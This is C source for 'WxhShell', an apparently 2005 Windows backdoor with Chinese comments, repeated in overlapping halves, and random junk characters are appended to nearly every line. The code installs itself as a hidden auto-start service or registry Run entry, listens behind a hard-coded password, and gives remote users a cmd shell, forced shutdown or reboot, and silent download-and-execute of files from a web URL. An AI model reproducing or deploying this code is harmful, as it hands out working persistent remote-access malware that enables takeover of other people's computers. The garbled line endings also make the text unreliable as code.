  case 'd': { hf6=`M}>i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U(lcQC`$  
    if(Boot(SHUTDOWN)) ?LJDBN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K? ;_T$^K  
    else { 3\x@G)1  
    closesocket(wsh); ) >_xHc?  
    ExitThread(0); Y ^s_v_s  
    } }ll&qb  
    break; G?:{9. (  
    } ~}uv4;0l]  
  // 获取shell \Wdl1 =`  
  case 's': { r57&F`{  
    CmdShell(wsh);  ]/l"  
    closesocket(wsh); m:kXr^!D  
    ExitThread(0); 4o+SSS  
    break; +iS'$2)@  
  } ;yfKYN[  
  // 退出 ^$8@B]*  
  case 'x': { 2nNBX2 o&_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  HaJs)j  
    CloseIt(wsh); MQs!+Z"m>  
    break; ChvSUaCS  
    } 4LG[i}u.N  
  // 离开 #@ClhpLD  
  case 'q': { V=$ pXpro%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /_WA F90R?  
    closesocket(wsh); 3.i$lp`t  
    WSACleanup(); @uh^)6i]/  
    exit(1); bQU{)W  
    break; U2v;[>=]  
        } u|;?FQ$M  
  } D4@).%  
  } [ B{F(~O  
q=I8W}Z i  
  // 提示信息 s$%t*T2J>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {Ad4H[]|]  
} Vd+qi~kA  
  } % G'{G  
mu#I F'|b  
  return; 7+N0$0w%r  
} Tu!2lHK;  
QN4{xf:}S  
// shell模块句柄 Vy.gr4Cm  
int CmdShell(SOCKET sock) _GhP{ C$  
{ -_*ux!  
STARTUPINFO si; 1K* `i(  
ZeroMemory(&si,sizeof(si)); v3p0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .OyzM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O{vVW9Q  
PROCESS_INFORMATION ProcessInfo; I cJy$+  
char cmdline[]="cmd"; Arr(rM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8O[br@h:5  
  return 0; p*NKM} ]I  
} u=6LPwiI  
lU\v8!Ji  
// 自身启动模式 {6I)6}w!k  
int StartFromService(void) < )qJI'u|  
{ QZh#&Qf;  
typedef struct < `Xt?K  
{ C vOH*K'  
  DWORD ExitStatus; )%+7"7.  
  DWORD PebBaseAddress; e,?qwZK:y  
  DWORD AffinityMask; KgH_-REN  
  DWORD BasePriority; #Dz. 58A  
  ULONG UniqueProcessId; gmqL,H#  
  ULONG InheritedFromUniqueProcessId; 1zcaI^e#  
}   PROCESS_BASIC_INFORMATION; H2jF=U"=  
W>_K+: t  
PROCNTQSIP NtQueryInformationProcess; (v,g=BS,  
c]/X >8;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A{ a4;`}5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (ri eg F  
-=InGm\Y  
  HANDLE             hProcess; , 3&D A  
  PROCESS_BASIC_INFORMATION pbi; Ajm  
 &*Z"r*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >ufLRGL>  
  if(NULL == hInst ) return 0; TFZxk  
:|HCUZ*H(T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4[lym,8C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ii5dTimRJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?APCDZ^  
J $^"cCMr  
  if (!NtQueryInformationProcess) return 0; Wx`$hvdq  
3P*[ !KI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D &Bdl5g  
  if(!hProcess) return 0; u.@B-Pf[Eo  
e9;5.m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Kgw, ]E&7  
O~OM.:al&  
  CloseHandle(hProcess); WkMB  
l+#uQo6cqQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >sGiDK @  
if(hProcess==NULL) return 0; B'-n ^';  
<u}[_  
HMODULE hMod; -KL5sK  
char procName[255]; {U)q)  
unsigned long cbNeeded; V4ybrUWK  
X?$"dqA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >aAsUL5W  
XI>HC'.0  
  CloseHandle(hProcess); ^@ Xzh:  
n >@Qx$-  
if(strstr(procName,"services")) return 1; // 以服务启动 QKIg5I-  
,: Ij@u>)  
  return 0; // 注册表启动 HP,{/ $i:  
} GGU>={D)  
x3l~kZ(  
// 主模块 wW, n~W  
int StartWxhshell(LPSTR lpCmdLine) }BWT21'-Y  
{ cDq*B*e  
  SOCKET wsl; .wPI%5D  
BOOL val=TRUE; 8'Iei78Ov  
  int port=0; eWr2UXv$  
  struct sockaddr_in door; +W"DN5UV  
{n{-5Y  
  if(wscfg.ws_autoins) Install(); M Al4g+es  
`h~-  
port=atoi(lpCmdLine); ub]s>aqy   
|qf ef &  
if(port<=0) port=wscfg.ws_port; MDoV84Fh  
ojx2[a\  
  WSADATA data; #s{EIj~YR_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9vBW CCf  
1cS*T>`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _2WW0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t;}`~B  
  door.sin_family = AF_INET; j/F:j5O*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \s6 VOR/  
  door.sin_port = htons(port); :)F0~Q  
"%w E>E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QsBC[7<jd-  
closesocket(wsl); <l< y R?  
return 1; \F14]`i  
} /H$:Q|T}  
N j:W6? A  
  if(listen(wsl,2) == INVALID_SOCKET) { ~En]sj  
closesocket(wsl); 23X-h#w  
return 1; @+sYwlA~  
} IeAi'  
  Wxhshell(wsl); k{ulu  
  WSACleanup(); Y+gNi_dE  
ri49r*_1  
return 0; yJdkDVxYr  
w3M F62:  
} 1-.(pA'  
@[#)zO  
// 以NT服务方式启动 <CWOx&hr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7*r!-$  
{ 1aezlDc*  
DWORD   status = 0; QtLd(& !v  
  DWORD   specificError = 0xfffffff; P&Wf.qr{:  
bp'\nso/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]+Z,HY@;-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \)cbg#v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'OU`$K7n  
  serviceStatus.dwWin32ExitCode     = 0; x??H%'rP  
  serviceStatus.dwServiceSpecificExitCode = 0; !.7m4mKzo  
  serviceStatus.dwCheckPoint       = 0; #'I<q  
  serviceStatus.dwWaitHint       = 0; j07b!j:"\}  
^xq)Q?[{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wf =hFc1_@  
  if (hServiceStatusHandle==0) return; S~B{G T\M  
$PMD$c  
status = GetLastError(); 8Rnq &8A  
  if (status!=NO_ERROR) ,vB nr_D#  
{ T/tCX[}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; juMHc$d17  
    serviceStatus.dwCheckPoint       = 0; %1 rN6A!%  
    serviceStatus.dwWaitHint       = 0; 4 ;^  
    serviceStatus.dwWin32ExitCode     = status; LAuaowE\v  
    serviceStatus.dwServiceSpecificExitCode = specificError; @eP(j@(^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G*g*+D[HM  
    return; @DlN;r ?Cv  
  } jWK>=|)=c  
*LQt=~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mlo:\ST|  
  serviceStatus.dwCheckPoint       = 0; ~sTn?~  
  serviceStatus.dwWaitHint       = 0; _8wT4|z5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5KW n>n  
} nX<yB9bXDg  
Fu65VLKh  
// 处理NT服务事件,比如:启动、停止 Wv30;7~  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  @4>?Y=#  
{ Fyc":{Jd  
switch(fdwControl) <q=]n%nX  
{ u+ 8wBb5!  
case SERVICE_CONTROL_STOP: q5.5%W  
  serviceStatus.dwWin32ExitCode = 0; UZo[]$"Q`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JQSczE3  
  serviceStatus.dwCheckPoint   = 0; $HAwd6NI  
  serviceStatus.dwWaitHint     = 0; O>IG7Ujl  
  { bK|nxL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |^O3~!JP(>  
  } v&xhS yZ  
  return; 2lxA/.f  
case SERVICE_CONTROL_PAUSE: uy([>8uu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )SfM`W)Y  
  break; JiGS[tR  
case SERVICE_CONTROL_CONTINUE: o 'Z W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BUXlHh%<R  
  break; L]=LY  
case SERVICE_CONTROL_INTERROGATE: 2Iq*7n:v0  
  break; sX(rJLbD  
}; r: ,"k:C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `91?^T;\F  
} !uhh_3RH  
S>R40T=e  
// 标准应用程序主函数 Cil1wFBb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $~/x;z:  
{ 6^TWY[z2%  
Fb^,%K:  
// 获取操作系统版本 PBAQ KQ  
OsIsNt=GetOsVer(); ^Fwdi#g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {QIdeB[  
D/tFN+|P  
  // 从命令行安装 #$JY &!M  
  if(strpbrk(lpCmdLine,"iI")) Install(); s+a#x(7{  
UL3u2g;d  
  // 下载执行文件 !-8y;,P  
if(wscfg.ws_downexe) { _x<7^^VT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VpB+|%@p  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8b $e)  
} qhNYQ/uS  
;uqi  
if(!OsIsNt) { cB7'>L  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^/7Y3n!|3  
HideProc(); u@kr;^m  
StartWxhshell(lpCmdLine); ?YnB:z*eV  
} <#e!kWGR?  
else -aIB_  
  if(StartFromService()) zl$z>z)  
  // 以服务方式启动 0lpUn74F  
  StartServiceCtrlDispatcher(DispatchTable); Oyy E0  
else K[9{]$(Z  
  // 普通方式启动 t ZA%^Y  
  StartWxhshell(lpCmdLine); 7niI65  
b IZi3GmRF  
return 0; \PK}4<x}  
} n<MreKixE  
/Xw wB  
f/g-b]0  
k E-+#p  
=========================================== c 4L++ u#  
a`zw5  
E=l^&[dIl  
NV9H"fI  
]PZ\N~T  
=kn-F T  
" H)i%\7F5  
pAc "Wo(Q  
#include <stdio.h> RTeG\U  
#include <string.h> `6y\.6j  
#include <windows.h> u'aWvN y+  
#include <winsock2.h> ?4lDoP{  
#include <winsvc.h> :tBZu%N/N  
#include <urlmon.h> J.n-4J#@  
oCuKmK8  
#pragma comment (lib, "Ws2_32.lib") go5l<:9  
#pragma comment (lib, "urlmon.lib") 1#^r5E4  
3+iQct[  
#define MAX_USER   100 // 最大客户端连接数 O:W4W=K  
#define BUF_SOCK   200 // sock buffer C9E@$4*  
#define KEY_BUFF   255 // 输入 buffer IsP!ZcV;  
|BA<> WE  
#define REBOOT     0   // 重启 `rI[   
#define SHUTDOWN   1   // 关机 Q#*Pjl  
firiYL"=44  
#define DEF_PORT   5000 // 监听端口 -LEpT$v|  
CFiO+p&  
#define REG_LEN     16   // 注册表键长度 - x]gp5  
#define SVC_LEN     80   // NT服务名长度 lcEin*Oc  
;>B06v  
// 从dll定义API Zcxj.F(,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #BX^"J{~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >O}J*4A>+#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1U~yu&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R%^AW2   
2~2j?\AEd.  
// wxhshell配置信息 BH`GUIk  
struct WSCFG { uM('R;<^  
  int ws_port;         // 监听端口 b0R{cj=<[  
  char ws_passstr[REG_LEN]; // 口令 x>~.cey  
  int ws_autoins;       // 安装标记, 1=yes 0=no P(Ve' wOaf  
  char ws_regname[REG_LEN]; // 注册表键名 ^ ]CQd   
  char ws_svcname[REG_LEN]; // 服务名 RT+_e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ${)s ~[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $|r p5D6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 txXt<]N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oY0`igH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gVI2{\a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,]|*~dd>G  
~TfQuIvQB  
}; 3eP7vy  
"4e{Cq  
// default Wxhshell configuration wQ/Z:  
struct WSCFG wscfg={DEF_PORT, 5RhP^:i@C  
    "xuhuanlingzhe",  F5FzT^  
    1, PV,AN   
    "Wxhshell", /f) #CR0$  
    "Wxhshell", $yg=tWk  
            "WxhShell Service", 5 ]v]^Y'?  
    "Wrsky Windows CmdShell Service", hz~jyH.h_  
    "Please Input Your Password: ", IYk^eG:;  
  1, f6zS_y9gn  
  "http://www.wrsky.com/wxhshell.exe", B!zqvShF  
  "Wxhshell.exe" za oC  
    }; Y;6%pm$  
58H%#3Fy  
// 消息定义模块 WYNO6Xb#:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Yl$Cj>FG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K7N.gT*4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {f<\`  
char *msg_ws_ext="\n\rExit."; -!b@\=  
char *msg_ws_end="\n\rQuit."; N"wp2w  
char *msg_ws_boot="\n\rReboot..."; 8Q Nd t  
char *msg_ws_poff="\n\rShutdown..."; DRw;.it2  
char *msg_ws_down="\n\rSave to "; #J<IHNRt  
j}$Up7pW  
char *msg_ws_err="\n\rErr!"; 8x9$6HO  
char *msg_ws_ok="\n\rOK!"; uepL"%.@7|  
`[zd  
char ExeFile[MAX_PATH]; K0Zq )<  
int nUser = 0; Z 2x%  
HANDLE handles[MAX_USER]; --9Z  
int OsIsNt; )Mj $/  
'N?t=A  
SERVICE_STATUS       serviceStatus; `DPR >dd@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M?fRiOj  
(66DKG   
// 函数声明 q"Z!}^{  
int Install(void); 8 K/o/  
int Uninstall(void); 11Hf)]M   
int DownloadFile(char *sURL, SOCKET wsh); Lv{xwHnE  
int Boot(int flag); {k}EWV  
void HideProc(void); |rbl sL2?Z  
int GetOsVer(void); {UR&Y  
int Wxhshell(SOCKET wsl); 6b8@6;&LI  
void TalkWithClient(void *cs); @~l?hf  
int CmdShell(SOCKET sock); KZxA\,Y'5  
int StartFromService(void); S=wJ{?gzAK  
int StartWxhshell(LPSTR lpCmdLine); K{s% h0  
i!=2 8|_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U5z}i^8a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qJ|n73yn  
n*oa J<o%  
// 数据结构和表定义 C,!}WB@VME  
SERVICE_TABLE_ENTRY DispatchTable[] = M:~/e8Xv  
{ (cj3[qq  
{wscfg.ws_svcname, NTServiceMain}, #!FLX*,  
{NULL, NULL} u8wZ2j4S  
}; iC{~~W6  
OZ$"P<X_"  
// 自我安装 h!*++Y?&0  
int Install(void) BI\+ NGrB  
{ Q l$t  
  char svExeFile[MAX_PATH]; ($oO, c'z  
  HKEY key; .2b) rKo~  
  strcpy(svExeFile,ExeFile); N&0MA  
(&6C,O~n^.  
// 如果是win9x系统,修改注册表设为自启动 #dLp<l)  
if(!OsIsNt) { yt&eY6Xp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x,Cc$C~YP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @x@w<e%  
  RegCloseKey(key); B=;pyhc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S%ri/}qI[{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Te8BFcJG  
  RegCloseKey(key); k"P2J}4eO  
  return 0; RTSR-<{z  
    } 9rb/hkX&  
  } T$]2U>=<J  
} 4Pljyq:  
else { f/b }X3K  
16\U'<  
// 如果是NT以上系统,安装为系统服务 k"SmbFn%N0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _^RN C)ol  
if (schSCManager!=0) y0qE::/H$  
{ QD:0iD?  
  SC_HANDLE schService = CreateService Ssu{Lj  
  ( yvxC/Jo4  
  schSCManager, tji,by#E/%  
  wscfg.ws_svcname, zJMKgw,i*  
  wscfg.ws_svcdisp, ucj)t7O   
  SERVICE_ALL_ACCESS, qD\%8l.]Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2t { Cpw  
  SERVICE_AUTO_START, #{0DpSzE5  
  SERVICE_ERROR_NORMAL,  2H<?  
  svExeFile, Snt=Hil`  
  NULL, ^+[o +  
  NULL, 4C /8hsn  
  NULL, 4Uf+t?U9  
  NULL, 7o z(hO~  
  NULL Za!c=(5  
  ); [6S"iNiyKT  
  if (schService!=0) V8Q#%#)FHe  
  { lSyp k-c  
  CloseServiceHandle(schService); pOI+  
  CloseServiceHandle(schSCManager); oQ;f`JC^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }WGi9\9T&  
  strcat(svExeFile,wscfg.ws_svcname); nu0bJ:0aLd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /&j4IlT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \ b9,>  
  RegCloseKey(key); TiBE9  
  return 0; `A <yDy  
    } s*CKFEb#  
  } e+R.0E  
  CloseServiceHandle(schSCManager); !P Gow  
} E2*"~gL^,  
} ($(1KE  
!v;r3*#Nky  
return 1; 4_.k Q"'DH  
} /1li^</|p`  
1]>KuXd r  
// 自我卸载 Br~%S?4"o  
int Uninstall(void) jZ D\u%  
{ iKabo,~  
  HKEY key; M<$l&%<`G  
r3j8[&B"  
if(!OsIsNt) { "}HQ)54&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _TPo=}Z  
  RegDeleteValue(key,wscfg.ws_regname); +~fu-%,k  
  RegCloseKey(key); 6$6NVq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EhFhL4Xdn  
  RegDeleteValue(key,wscfg.ws_regname); *Ra")(RnDK  
  RegCloseKey(key); BWPYHWW}E  
  return 0; 5ZKnxEW,(  
  } lwg.'<  
} pWx3l5)R  
} rbtV,Y  
else { @E>^\!nH  
GO)rpk9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I@S<D"af  
if (schSCManager!=0) f<;9q?0VF  
{ ?@#}%<yEq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UUU^YT \  
  if (schService!=0) .4Ny4CMHZ  
  { V[xy9L[#  
  if(DeleteService(schService)!=0) { " }ZD)7K  
  CloseServiceHandle(schService); W_ 6Jl5]  
  CloseServiceHandle(schSCManager); rka:.#!  
  return 0; a2 rv4d=  
  } V0AX1?H~w  
  CloseServiceHandle(schService); 5->PDp  
  } |K_B{v.   
  CloseServiceHandle(schSCManager); i@J,u  
} $"FdS,*qKl  
} W^N"y &  
y%,BDyK  
return 1; 1wgu%$|d  
} )mPlB.  
g7P1]CZ}  
// 从指定url下载文件 heKI<[8l  
int DownloadFile(char *sURL, SOCKET wsh) fA8+SaXW%  
{ jwq"B$ap  
  HRESULT hr; 7xc<vl#:q7  
char seps[]= "/"; EC~t 'v  
char *token; 'MUrszOO.e  
char *file; DsX>xzM  
char myURL[MAX_PATH]; itF+6wv~  
char myFILE[MAX_PATH]; eI}VHBAz  
f$>orVm%.  
strcpy(myURL,sURL); eFio,  
  token=strtok(myURL,seps); %8L<KJd  
  while(token!=NULL) 8[C6LG  
  { `"H?nf0  
    file=token; F&*M$@u5  
  token=strtok(NULL,seps); (OqJet2{+  
  } u,m-6@ il  
&XsLp&Do2  
GetCurrentDirectory(MAX_PATH,myFILE); Ln_l>X6j51  
strcat(myFILE, "\\"); T,uIA]  
strcat(myFILE, file); PBL^xlg  
  send(wsh,myFILE,strlen(myFILE),0); dNQSbp  
send(wsh,"...",3,0); ^JtHTLHL=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aHC;p=RQ\A  
  if(hr==S_OK) <dL04F  
return 0; #'x?) AS  
else {{3H\ rR  
return 1; hPxI& :N  
y^=oYL  
} &XRFX 5gP  
HzV+g/8>A  
// 系统电源模块 XQOprIJ U  
int Boot(int flag) cf'}*$[S  
{ %h"< IA S.  
  HANDLE hToken; z4641q5'm  
  TOKEN_PRIVILEGES tkp; r$FM8$cJ  
%-/:ps  
  if(OsIsNt) { j dhml%pAd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #L.}CzAz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eH955[fVd4  
    tkp.PrivilegeCount = 1; 5vi#ItN}|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )_e"N d4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /Q8A"'Nk  
if(flag==REBOOT) {  hu(K!>{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a<'$`z|s  
  return 0; THgzT\_zq  
} $Ds]\j*  
else { o:D BOpS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e K1m(E.=  
  return 0; 'uAC oME@  
} 8ex:OTzn|  
  } ~_db<!a  
  else { '&:x_WwVrO  
if(flag==REBOOT) { 7Y|>xx=v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |ak C  
  return 0; D 2:a  
} T{4fa^c2J  
else { SE9u2Jk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jjwMvf.R  
  return 0; m2uML*&O5K  
} PnIvk]"Ab  
} z!C4>,  
:.[5('  
return 1; Gx_`|I{P  
} ENXW#{N.v  
uM)9b*Vbo  
// win9x进程隐藏模块 0/P-> n~  
void HideProc(void) ^ $+f3Z'  
{ [{p?BTs  
@EP{VV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ky9No"o  
  if ( hKernel != NULL ) CDwIq>0j  
  { xDA,?i;T 0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hW !@$Ph  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aRO_,n9  
    FreeLibrary(hKernel); aU.0dsq  
  } oj(A`[  
_h=< _Z  
return; S5E,f?l  
} XJlDiBs9=Q  
C+(Gg^ w  
// 获取操作系统版本 E0)mI)RW.  
int GetOsVer(void) w[ YkTv  
{ F {*9[jY  
  OSVERSIONINFO winfo; fyg~KF}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "E ok;io  
  GetVersionEx(&winfo); )-9w3W1r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :S99}pgY  
  return 1; 4&]To@>  
  else AYPf)K;%  
  return 0; 0(U3~ k6  
} <7FP"YU  
+NLQYuN  
// 客户端句柄模块 qSC~^N`  
int Wxhshell(SOCKET wsl) zN)|g  
{ q(&^9"  
  SOCKET wsh; {b-0_  
  struct sockaddr_in client; *<.WL"Qhl  
  DWORD myID; q]iKz%|Z/  
c5iormb"#  
  while(nUser<MAX_USER) ,p*ntj{  
{ vA2,&%jw  
  int nSize=sizeof(client); 3<jAp#bE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9o_ g_q  
  if(wsh==INVALID_SOCKET) return 1; :@QK}qFP  
MgH1d&R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c_-" Qo  
if(handles[nUser]==0) 1%/ NL?8#  
  closesocket(wsh); XC7Ty'#"KX  
else *,pZ fc  
  nUser++; O{")i;v @  
  } "9U+h2#]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y>78h2AU  
7}#*3*]  
  return 0; 'XP>} m  
} i)@U.-*5m  
EDq$vB  
// 关闭 socket MAwC\7n+X  
void CloseIt(SOCKET wsh) 0uVk$\:i  
{ M!&_qj&N,  
closesocket(wsh); ;l/}Or2  
nUser--; @pqY9_:P1  
ExitThread(0); { .aK{ V  
} VVI8)h8  
0okO+QU,a  
// 客户端请求句柄 ( E"&UC[  
void TalkWithClient(void *cs)  Vp(D|}P  
{ cotxo?)Zv  
TdNuD V  
  SOCKET wsh=(SOCKET)cs; ` x%U  
  char pwd[SVC_LEN]; {(m+M  
  char cmd[KEY_BUFF]; )){PBT}t]  
char chr[1]; TZ&4  
int i,j; 9atjK4+o  
[ 5CS}FB  
  while (nUser < MAX_USER) { 5YTb7M  
!q~X*ZKse  
if(wscfg.ws_passstr) { L~*|,h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #;\L,a|>*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P3wU#qU  
  //ZeroMemory(pwd,KEY_BUFF); 0%;N9\  
      i=0; '2Q.~6   
  while(i<SVC_LEN) { A0cM(w{7_  
%|:;Ti  
  // 设置超时 UC8vR>e\  
  fd_set FdRead; Ph(]?MG\_  
  struct timeval TimeOut; 8BYIxHHz  
  FD_ZERO(&FdRead); m!HC-[<  
  FD_SET(wsh,&FdRead); yPf?"W  
  TimeOut.tv_sec=8; (l\a'3a.  
  TimeOut.tv_usec=0; ^?$D.^g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c[(yU#@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tyc8{t#Z  
C-s>1\I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {c v;w  
  pwd=chr[0]; qiG]nCq  
  if(chr[0]==0xd || chr[0]==0xa) { NEq t).   
  pwd=0; -vyIOH,  
  break; $Nj'OJSj%  
  } _v1bTg"?  
  i++; +IwdMJ8&8  
    } 7!O^;]+,  
T6sr/<#<(  
  // 如果是非法用户,关闭 socket GwgFi@itN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9 b?i G  
} .yZK.[x4  
$cRcap  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kR<xtHW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pBlRd{#fL  
lr9=OlH  
while(1) { * <B)Z  
l_^T&xq8  
  ZeroMemory(cmd,KEY_BUFF); p G)9=X!9  
zt7_r`#z  
      // 自动支持客户端 telnet标准   TF BYY{Y  
  j=0; Lf5%M|o.)  
  while(j<KEY_BUFF) { 9uuta4&uI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ya~ "R#Uy  
  cmd[j]=chr[0]; /0Z|+L9Jo  
  if(chr[0]==0xa || chr[0]==0xd) { q $t&|{  
  cmd[j]=0; ^$e0t;W=  
  break; ' be P  
  } o^6jyb!j  
  j++; Z+Kv+GmqH  
    } WLE%d]'%M  
(F/HU"C  
  // 下载文件  `>%-  
  if(strstr(cmd,"http://")) { pI  &o?n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %,33gZzf  
  if(DownloadFile(cmd,wsh)) !A~d[</]m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nHrP>zN  
  else ^gd<lo g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xcHen/4X  
